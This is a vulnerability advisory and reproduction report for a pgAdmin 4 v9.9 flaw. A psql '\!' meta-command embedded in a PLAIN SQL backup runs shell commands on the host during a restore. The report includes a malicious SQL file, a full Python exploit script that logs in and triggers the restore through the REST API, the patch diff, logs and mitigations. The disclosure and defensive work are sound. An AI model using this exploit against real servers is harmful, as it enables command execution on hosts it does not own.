- Product / Component:
pgadmin4–pgadmin/tools/restore/__init__.py - Impact: Authenticated pgAdmin users can upload a crafted
PLAINbackup whose embedded\!meta-command executes arbitrary shell commands on the pgAdmin host (pre-auth to the target Postgres instance). - Introduced: ≤
pgadmin4 9.9(Oct 2025) – thecreate_restore_job()path streams PLAIN files directly intopsqlwithout sanitizing\!/\imeta-commands, sopsqlexecutes attacker-controlled shell statements. - Fixed:
pgadmin4 9.10(Nov 2025) – restore jobs now scan PLAIN uploads for meta-commands and reject the request with “Restore blocked: the selected PLAIN SQL file contains psql meta-commands…”. - Reproduction Status: Confirmed on Lima VM
pruva-repro-20251114-130855-*by downgrading to 9.9 (vulnerable) and re-running the workflow after upgrading to 9.10 (patched). - Customer Action: Upgrade to pgAdmin 4 ≥ 9.10 or backport the meta-command guard; restrict restore privileges in multi-tenant environments until the patch is deployed.
The pgAdmin REST API route POST /restore/job/<sid> loads arbitrary backup files and runs either pg_restore or psql depending on the format field. For PLAIN SQL uploads the vulnerable 9.9 code simply shells out to psql:
# pgadmin/tools/restore/__init__.py:360-418 (pgAdmin 4 v9.9)
if data['format'] == 'plain':
error_msg, utility, args = use_sql_utility(
data, manager, server, filepath)
else:
error_msg, utility, args = use_restore_utility(...)
p = BatchProcess(
desc=RestoreMessage(..., *args, database=data['database']),
cmd=utility, args=args, manager_obj=manager
)
p.start()No validation occurs before psql reads the attacker-provided file. Because psql honors meta-commands by default, an adversary can embed \! touch /tmp/pgadmin-rce (or any shell command) and pgAdmin will execute it while running the restore.
In 9.10 the format == 'plain' branch now inspects the upload before launching psql:
@@ def create_restore_job(sid):
- if data['format'] == 'plain':
- error_msg, utility, args = use_sql_utility(
- data, manager, server, filepath)
+ if data['format'] == 'plain':
+ invalid = _contains_psql_meta_commands(filepath)
+ if invalid:
+ return make_json_response(
+ success=0,
+ errormsg=("Restore blocked: the selected PLAIN SQL file "
+ "contains psql meta-commands (for example \\! or \\i). "
+ "For safety, pgAdmin does not execute meta-commands "
+ "from PLAIN restores.")
+ )
+ error_msg, utility, args = use_sql_utility(
+ data, manager, server, filepath)
The guard short-circuits the request and logs an explicit error instead of invoking psql.
- 2025‑10 (pgAdmin 4 v9.9) – Restore flow still pipes PLAIN uploads into
psqlwithout sanitization; vulnerable behavior reproduced here. - 2025‑11‑07 (pgAdmin 4 v9.10) – Upstream patch rejects PLAIN files containing meta-commands and ships the error surfaced in our patched run.
- 2025‑11‑14 – This investigation confirms the exploit on v9.9 and demonstrates that v9.10 blocks the same payload.
# 1. Host prerequisites (Ubuntu 22.04 example)
sudo apt-get update
sudo apt-get install -y python3.11-venv docker.io postgresql-client jq
# 2. Prepare vulnerable pgAdmin environment (v9.9) and Postgres target
cd /home/g.linux/workspace/PGADMIN4-CVE-2025-12762
python3 -m venv .venv
source .venv/bin/activate
pip install --upgrade pip
pip install pgadmin4==9.9 requests
# start postgres victim
sudo docker run -d --name pgadmin-rce-demo \
-e POSTGRES_HOST_AUTH_METHOD=trust -p 55432:5432 postgres:16-alpine
sudo docker exec pgadmin-rce-demo psql -U postgres -c "CREATE DATABASE demo;"
# launch pgAdmin (server mode) bound to 127.0.0.1:5050
PGADMIN_SETUP_EMAIL=admin@example.com \
PGADMIN_SETUP_PASSWORD=Admin123! \
PGADMIN_CONFIG_SERVER_MODE=True \
PGADMIN_CONFIG_UDCSQLITE_PATH=$(pwd)/pgadmin4_data/pgadmin4.db \
PGADMIN_CONFIG_FILE=$(pwd)/config_local.py \
nohup .venv/bin/pgadmin4 > logs/pgadmin-9.9.log 2>&1 &
# 3. Upload malicious PLAIN backup and trigger restore
cat > artifacts/malicious_restore.sql <<'SQL'
CREATE TABLE IF NOT EXISTS bad(data text);
\! touch /tmp/pgadmin-rce
SQL
cp artifacts/malicious_restore.sql \
pgadmin4/storage/admin_example.com/malicious_restore.sql
# authenticate to pgAdmin UI, configure server entry, then run the REST API exploit
python - <<'PY'
import json, requests, time
base = 'http://127.0.0.1:5050'
s = requests.Session()
csrf = s.get(f'{base}/login').text.split('"csrfToken": "')[1].split('"')[0]
login = {'email':'admin@example.com','password':'Admin123!','language':'en',
'csrf_token':csrf,'internal_button':'Login'}
r = s.post(f'{base}/authenticate/login', data=login, allow_redirects=False)
s.get(f"{base}{r.headers.get('Location','/browser/')}")
utils = s.get(f'{base}/browser/js/utils.js').text
header = utils.split("pgAdmin['csrf_token_header'] = '")[1].split("'")[0]
token = utils.split("pgAdmin['csrf_token'] = '")[1].split("'")[0]
headers = {header: token, 'Accept':'application/json',
'X-Requested-With':'XMLHttpRequest'}
# ensure server points to docker DB and connect
payload = {'name':'pgdemo','host':'127.0.0.1','port':55432,
'db':'postgres','username':'postgres','connect_now':True,
'save_password':True, 'connection_params':[{'name':'sslmode','keyword':'sslmode','value':'prefer'}]}
s.put(f'{base}/browser/server/obj/1/1',
headers={**headers,'Content-Type':'application/json'},
data=json.dumps(payload))
s.post(f'{base}/browser/server/connect/1/1', headers=headers)
# run restore using malicious file already stored in pgAdmin
restore = {'file':'malicious_restore.sql','format':'plain','database':'demo','verbose':True}
resp = s.post(f'{base}/restore/job/1',
headers={**headers,'Content-Type':'application/json'},
data=json.dumps(restore))
print(resp.status_code, resp.json())
PY
# 4. Observe evidence on vulnerable build
ls -l /tmp/pgadmin-rce # file exists, proving remote command execution
# 5. Upgrade to patched build and repeat
source .venv/bin/activate
pip install --upgrade pgadmin4==9.10
pkill -f pgadmin4
nohup .venv/bin/pgadmin4 > logs/pgadmin-9.10.log 2>&1 &
python exploit_script_above.py # re-run restore payload
ls -l /tmp/pgadmin-rce # now missing; API responds with error# Vulnerable 9.9 run (logs/vulnerable_restore_response.json)
{
"success": 1,
"data": {
"job_id": "251114180843301390",
"desc": "Restoring backup on the server 'pgdemo (127.0.0.1:55432)'",
"Success": 1
}
}
# Host indicator (logs/vulnerable_rce_marker.txt)
-rw-rw-rw- 1 g g 0 Nov 14 19:08 /tmp/pgadmin-rce
# Patched 9.10 run (logs/patched_restore_response.json)
{
"success": 0,
"errormsg": "Restore blocked: the selected PLAIN SQL file contains psql meta-commands (for example \\! or \\i). For safety, pgAdmin does not execute meta-commands from PLAIN restores."
}
# Patched RCE check (logs/patched_rce_marker_check.txt)
ls: cannot access '/tmp/pgadmin-rce': No such file or directory
- Patch – Upgrade pgAdmin 4 installations to v9.10 or later (or backport the meta-command guard) so PLAIN restores cannot execute shell commands.
- Config – Restrict access to the Restore tool in multi-user deployments; require trusted administrators and disable
PROGRAM/meta commands at the Postgres level when possible. - Defense-in-depth – Monitor pgAdmin application logs for unexpected restore jobs, and deploy OS-level auditing for anomalous files under
/tmp/or other shell side-effects triggered during restores.